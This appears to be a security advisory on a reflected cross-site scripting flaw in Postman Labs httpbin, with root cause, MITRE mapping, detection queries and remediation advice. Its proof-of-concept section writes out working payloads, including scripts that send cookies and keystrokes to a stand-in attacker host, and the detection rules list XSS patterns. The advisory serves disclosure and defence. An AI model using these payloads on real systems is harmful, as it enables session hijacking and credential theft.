Vulnerability Summary
CVE ID: CVE-2025-15095
CVE Name: Postman Labs httpbin Reflected Cross-Site Scripting
CVSS Score: 3.5 / 10.0
Severity: Low
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required (victim must click a malicious link)
Scope: Changed
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: None
Exploit Availability: Public proof of concept available
Exploit Maturity: Proof of Concept
Active Exploitation: Not observed in the wild
Affected Product: Postman Labs httpbin
Vulnerable Versions: All versions up to and including 0.6.1
Vulnerable Component: httpbin-master/httpbin/core.py
Vendor Response: Not responsive
Vulnerability Description
httpbin is a widely used HTTP request and response testing service developed by Postman Labs. It’s commonly used by developers and QA teams to debug HTTP clients, validate API behavior, and inspect how applications handle different types of requests. By design, httpbin reflects much of the data it receives back to the client, which makes it extremely useful for testing—but also risky if inputs are not handled carefully.
The issue behind CVE-2025-15095 lies in how user-supplied input is handled in the core.py file. Certain inputs provided via the URL path, query parameters, or headers are reflected directly back in HTTP responses without proper output encoding or sanitization. As a result, an attacker can inject malicious JavaScript into a crafted URL. If a user is tricked into clicking that link, the script executes in the victim’s browser in the context of the httpbin application.
While httpbin is “just” a testing tool, the risk shouldn’t be dismissed outright. Many organizations deploy internal httpbin instances for development or troubleshooting, and these instances often live on internal networks or are accessed by authenticated users. In that context, successful JavaScript execution could allow an attacker to steal session cookies, access internal-only resources, or use the compromised browser session as a pivot point for further attacks.
Root Cause
The root cause is straightforward: insufficient output encoding.
httpbin reflects user-controlled input back into HTML responses without escaping special characters such as <, >, ", and &. In a web browser, unescaped characters are interpreted as HTML or JavaScript rather than plain text. This violates a core web security principle: never trust user input, and always encode output based on how and where it will be rendered.
Because the payload is not stored server-side and only reflected in the response, this is classified as a reflected XSS vulnerability. The attack only succeeds when a victim actively visits a maliciously crafted URL.
How This Could Be Exploited
Exploitation requires social engineering, but the overall flow is simple:
- An attacker identifies an organization running an httpbin instance (public or internal).
- They craft a malicious URL that embeds JavaScript into a vulnerable endpoint or path.
- The URL is sent to a victim via email, chat, or a disguised hyperlink.
- The victim clicks the link, sending a request to the httpbin server.
- httpbin reflects the malicious input in the response without sanitization.
- The victim’s browser executes the JavaScript as if it were legitimate content.
Once executed, the script can steal cookies or session tokens, log keystrokes, redirect the user to phishing pages, make authenticated requests to internal systems, or manipulate page content to further deceive the user.
The requirement for user interaction limits mass exploitation, but in targeted attacks this is rarely a meaningful obstacle.
MITRE ATT&CK Mapping
| Tactic / Technique | How It Applies |
|---|---|
| Initial Access – T1189 (Drive-by Compromise) | Victim visits a malicious link exploiting the XSS flaw |
| Execution – T1059.007 (JavaScript) | Injected JavaScript runs in the browser |
| Credential Access – T1539 (Steal Web Session Cookie) | Session cookies can be exfiltrated |
| Collection – T1185 (Browser Session Hijacking) | Attacker can hijack authenticated sessions |
| Defense Evasion – T1036 (Masquerading) | Malicious link appears to point to a legitimate httpbin instance |
Proof of Concept
Because the vulnerability has been publicly disclosed and the vendor has not responded, proof-of-concept payloads are already circulating.
Example payloads:
Basic validation:
https://[httpbin-instance]/anything/<script>alert('XSS')</script>
Cookie exfiltration:
https://[httpbin-instance]/anything/<script>
document.location='https://attacker[.]com/steal?c='+document.cookie
</script>
URL-encoded variant:
https://[httpbin-instance]/anything/%3Cscript%3Ealert(document.domain)%3C/script%3E
Event-handler based:
https://[httpbin-instance]/anything/<img src=x onerror=alert('XSS')>
Keylogging example:
https://[httpbin-instance]/anything/<script>
document.onkeypress=function(e){
new Image().src='https://attacker[.]com/log?k='+e.key;
}
</script>
The specific endpoint may vary by version or configuration, but the underlying issue consistently traces back to unsanitized reflection in core.py.
Detection Methods
What to look for
At the network and application level, watch for requests to httpbin endpoints containing HTML or JavaScript fragments in URL paths or parameters. Pay close attention to encoded payloads that decode into scripts or event handlers.
Common indicators:
<script>,</script>,javascript:- Event handlers such as
onerror=,onload=,onclick= - Encoded equivalents like
%3Cscript%3E - Unexpected outbound connections after visiting httpbin URLs
Example Detection Rules
Microsoft Sentinel (KQL):
let xss_patterns = dynamic([
"<script", "</script", "javascript:", "onerror=", "onload=",
"onclick=", "%3Cscript", "%3C%2Fscript", "document.cookie"
]);
CommonSecurityLog
| where TimeGenerated > ago(24h)
| where RequestURL contains "httpbin" or DestinationHostName contains "httpbin"
| extend DecodedURL = url_decode(RequestURL)
| where DecodedURL has_any (xss_patterns)
| project TimeGenerated, SourceIP, DestinationHostName, RequestURL, DecodedURL
| order by TimeGenerated desc
Splunk (SPL):
index=web sourcetype=access_* (uri_path="*httpbin*" OR dest="*httpbin*")
| eval decoded_uri=urldecode(uri_path)
| search decoded_uri IN ("*<script*", "*javascript:*", "*onerror=*")
| table _time src_ip dest uri_path decoded_uri
| sort -_time
Required Log Sources
- Web server access logs (Apache, Nginx, etc.)
- WAF logs, if a web application firewall is in place
- Proxy logs capturing full URLs
- DNS logs to detect data exfiltration attempts
- Browser or EDR telemetry for suspicious script execution or redirects
Remediation
Immediate Actions
First, identify whether httpbin is running anywhere in your environment. It’s often deployed temporarily and then forgotten.
docker ps | grep httpbin
kubectl get pods --all-namespaces | grep httpbin
If found, determine whether it’s actually needed. If not, shut it down.
For instances that must remain:
- Restrict access with authentication or IP allowlists
- Isolate them on networks not reachable from user workstations
Workarounds (no patch available)
- Place httpbin behind a WAF or reverse proxy with XSS filtering enabled
- If you control the code, patch
core.pyto properly HTML-escape reflected input (for example, using Python’shtml.escape()function) - Consider alternative testing tools if long-term maintenance is a concern
Long-Term
Monitor for any vendor updates, though none have been published so far. If httpbin is business-critical, forking and maintaining a patched internal version may be the safest option.
Official Patch Information
Vendor: Postman Labs
Patch Status: No patch available
Vendor Advisory: None published
Official Patch Link: Not available (vendor has not released or acknowledged a fix)
Bottom Line
This is a low-severity vulnerability with a CVSS score of 3.5, and it requires user interaction. On paper, that doesn’t sound alarming. In practice, the public availability of exploit examples and the lack of vendor response increase the real-world risk.
If httpbin is exposed publicly with no sensitive context, the impact is limited. If it’s running internally and accessed by developers or users with elevated privileges, it can become a useful foothold for more serious attacks.
Since there’s no official fix, organizations are responsible for mitigating the risk themselves—by restricting access, adding defensive controls, or removing httpbin altogether. The good news is that reflected XSS attempts are noisy and relatively easy to detect if logging is in place. The bad news is that many environments never bother to look.
